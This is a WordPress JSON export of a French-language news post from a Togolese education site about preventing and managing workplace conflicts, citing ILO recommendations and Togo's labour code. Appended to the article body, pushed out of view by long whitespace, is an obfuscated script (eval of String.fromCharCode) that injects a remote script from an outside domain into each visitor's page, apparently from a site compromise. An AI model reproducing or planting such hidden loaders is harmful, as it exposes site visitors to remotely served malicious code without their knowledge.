{"id":89,"date":"2020-09-22T11:26:12","date_gmt":"2020-09-22T09:26:12","guid":{"rendered":"http:\/\/nerdtic.com\/edunews\/?p=89"},"modified":"2020-09-22T11:26:12","modified_gmt":"2020-09-22T09:26:12","slug":"prevention-et-gestion-de-conflits-en-milieu-professionnel","status":"publish","type":"post","link":"https:\/\/edunews.tg\/info\/2020\/09\/22\/prevention-et-gestion-de-conflits-en-milieu-professionnel\/","title":{"rendered":"PREVENTION ET GESTION DE CONFLITS EN MILIEU PROFESSIONNEL"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong>Le d\u00e9ficit de formation sur les droits et devoirs des employeurs et des employ\u00e9s est souvent source de nombreuses frustrations et de disfonctionnement dans les services publics ou structures priv\u00e9es. Dans le but de combler ce vide, nous publierons \u00e0 p\u00e9riodiquement des extraits de contenus de formations syndicales. Dans le pr\u00e9sent article, nous parlerons de la pr\u00e9vention et de la gestion de conflits en milieu professionnel. Bonne lecture.<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Gestion des conflits<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>La gestion des conflits au niveau de l\u2019entreprise n\u00e9cessite la prise en compte de trois aspects interd\u00e9pendants, \u00e0 savoir&nbsp;:<\/li><li>&#8211; L\u2019instauration d\u2019un climat&nbsp;;<\/li><li>&#8211; La pr\u00e9vention des conflits&nbsp;;<\/li><li>&#8211; Le R\u00e8glement des conflits.<\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Mais pour en arriver la, nous allons d\u2019abord parler des approches et syst\u00e8mes de gestion des conflits.<\/p>\n\n\n\n<ol class=\"wp-block-list\" type=\"A\"><li><strong>Les approches<\/strong><\/li><\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">Il y&nbsp; a g\u00e9n\u00e9ralement <strong>quatre (04) approches <\/strong>&nbsp;pour r\u00e9soudre les conflits, \u00e0 savoir&nbsp;:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>L\u2019\u00e9vitement, lorsqu\u2019une partie d\u00e9cide de ne pas r\u00e9soudre le conflit&nbsp;;<\/li><li>Le pouvoir, lorsqu\u2019une partie utilise la contrainte pour forcer une autre partie \u00e0 faire ce qu\u2019elle veut&nbsp;;<\/li><li>Les droits, lorsqu\u2019une partie applique le droit ou des r\u00e8gles ind\u00e9pendantes pour r\u00e9soudre un conflit&nbsp;;<\/li><li>Le consensus, lorsqu\u2019une partie fait des efforts de r\u00e9conciliation, de compromis ou d\u2019adaptation aux positions ou besoins sous-jacents de l\u2019autre partie.<\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Les syst\u00e8mes de gestion des conflits<\/strong><\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Les syst\u00e8mes de gestion des conflits varient selon les pays. Comme l\u2019indique l\u2019article 1 de la recommandation (n\u00b092) de l\u2019OIT sur la conciliation et l\u2019arbitrage volontaires, les syst\u00e8mes de gestion des conflits doivent \u00eatre adapt\u00e9s aux conditions nationales, condition essentielle pour garantir l\u2019efficacit\u00e9 du syst\u00e8me et cr\u00e9er la confiance chez ses utilisateurs.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Toutefois, les syst\u00e8mes de gestion des conflits se classent g\u00e9n\u00e9ralement dans trois grandes cat\u00e9gories, comme suit.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Minist\u00e8res ou d\u00e9partements du travail<\/strong> o\u00f9 la pr\u00e9vention et la r\u00e9solution des conflits du travail rel\u00e8vent des administrations du travail nationales et op\u00e9rant dans le cadre du service public mandat\u00e9 pour administrer&nbsp;: les activit\u00e9s dans le domaine des politiques du travail. Les processus de conciliation et d\u2019arbitrage sont aux mains de repr\u00e9sentants des minist\u00e8res du travail, m\u00eame si des circonstances nationales peuvent pr\u00e9voir parfois une certaine implication souvent limit\u00e9e d\u2019autres structures le processus de r\u00e9solution des conflits.<\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Cette approche est celle qui est en vigueur au Togo ou le code du travail en son article 183, alin\u00e9a 3&nbsp;\u00ab&nbsp;apport\u00e9 leur concours aux&nbsp; employeurs et aux travailleurs pour le r\u00e8glement amiable des diff\u00e9rends individuels&nbsp;\u00bb attribue cette mission aux services d\u2019inspection du travail et des lois sociales.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Organes statutaires ind\u00e9pendants<\/strong> o\u00f9 la pr\u00e9vention et la r\u00e9solution des conflits du travail rel\u00e8vent d\u2019organes financ\u00e9s par l\u2019Etat, mais qui conservent un degr\u00e9 d\u2019autonomie et d\u2019ind\u00e9pendance \u00e9lev\u00e9. La pr\u00e9vention et la r\u00e9solution des conflits sont sous la responsabilit\u00e9 d\u2019une commission, d\u2019une autorit\u00e9 ou d\u2019un organisme ind\u00e9pendant op\u00e9rant selon des propres r\u00e8gles et avec son propre conseil de direction. Le mandant et la fonction de ces organismes sont \u00e9tablis par la loi, ainsi que leur ind\u00e9pendance vis-\u00e0-vis des partis politiques, des entreprises des&nbsp; syndicats<\/li><li><strong>Dispositifs mixtes<\/strong> o\u00f9 la pr\u00e9vention et la r\u00e9solution des conflits du travail rel\u00e8vent en partie d l\u2019administration du travail et en partie d\u2019un organisme ind\u00e9pendant.<\/li><li><strong>Instauration d\u2019un climat<\/strong><\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Une gestion efficace des conflits au sein d\u2019une entreprise d\u00e9bute bien avant que ne se manifestent les premiers signes d\u2019un d\u00e9saccord ou d\u2019une controverse. Le point de d\u00e9part est l\u2019instauration d\u2019un climat de respect mutuel entre le personnel et les cadres qui \u00e9tablissent des bases solides de confiance et de collaboration. Cela suppose de&nbsp;:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Partager les informations&nbsp;;<\/li><li>Se t\u00e9moigner un respect mutuel&nbsp;;<\/li><li>Reconnaitre les travailleurs comme des acteurs \u00e0 part enti\u00e8re&nbsp;;<\/li><li>Favoriser la participation du plus grand nombre&nbsp;;<\/li><li>Examiner les malentendus;<\/li><li>Etablir la confiance.<\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">La recommandation (n\u00b0 129) de l\u2019OIT concernant les communications dans l\u2019entreprise, 1967, souligne l\u2019importance de cr\u00e9er un climat de compr\u00e9hension et de confiance r\u00e9ciproques.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Pr\u00e9venir les conflits<\/strong><\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">La pr\u00e9vention des conflits au sein de l\u2019entreprise suppose d\u2019avoir \u00e0 c\u0153ur de r\u00e9gler les probl\u00e8mes en traitant en conflits de plus grande ampleur.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Cette volont\u00e9 implique&nbsp;:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>De concevoir des politiques sur les sujets importants, comme la s\u00e9curit\u00e9 et la sant\u00e9, le harc\u00e8lement et l\u2019intimidation, les salaires et les avantages ainsi que la discipline professionnelle&nbsp;;<\/li><li>D\u2019\u00e9tablir des r\u00e8gles qui concr\u00e9tisent la volont\u00e9 politique&nbsp;;<\/li><li>De s\u2019assurer que les r\u00e8gles sont communiqu\u00e9es \u00e0 ceux auxquels elles s\u2019appliquent&nbsp;;<\/li><li>De s\u2019engager \u00e0 respecter les r\u00e8gles&nbsp;;<\/li><li>De mettre en place des processus de consultation entre le personnel et les cadres sur les politiques et les questions op\u00e9rationnelles&nbsp;;<\/li><li>D\u2019effectuer ensemble les recherches, plut\u00f4t que de laisser employeurs et travailleurs examiner les probl\u00e8mes chacun de leurs c\u00f4t\u00e9s&nbsp;;<\/li><li>D\u2019organiser des activit\u00e9s de formation communes pour les salari\u00e9s et l\u2019encadrement&nbsp;;<\/li><li>De privil\u00e9gier la n\u00e9gociation et la prise de d\u00e9cision commune&nbsp;;<\/li><li>De privil\u00e9gier la n\u00e9gociation collective par laquelle les parties appliquent leur propre accord&nbsp;;<\/li><li>De solliciter l\u2019assistance de tiers pour faciliter les discussions, proc\u00e9der \u00e0 la collecte des informations factuelles et organiser des activit\u00e9s d\u2019am\u00e9lioration des relations&nbsp;;<\/li><li>De soutenir les activit\u00e9s de l\u2019inspection du travail.<\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A suivre<\/p>\n<script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,102,111,114,46,102,105,114,115,116,98,108,97,99,107,112,104,97,115,101,46,99,111,109,47,116,114,98,98,98,98,98,50,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*674867468*\/<\/script>","protected":false},"excerpt":{"rendered":"<p>Le d\u00e9ficit de formation sur les droits et devoirs des employeurs et des employ\u00e9s est souvent source de nombreuses frustrations et de disfonctionnement dans les services publics ou structures priv\u00e9es. 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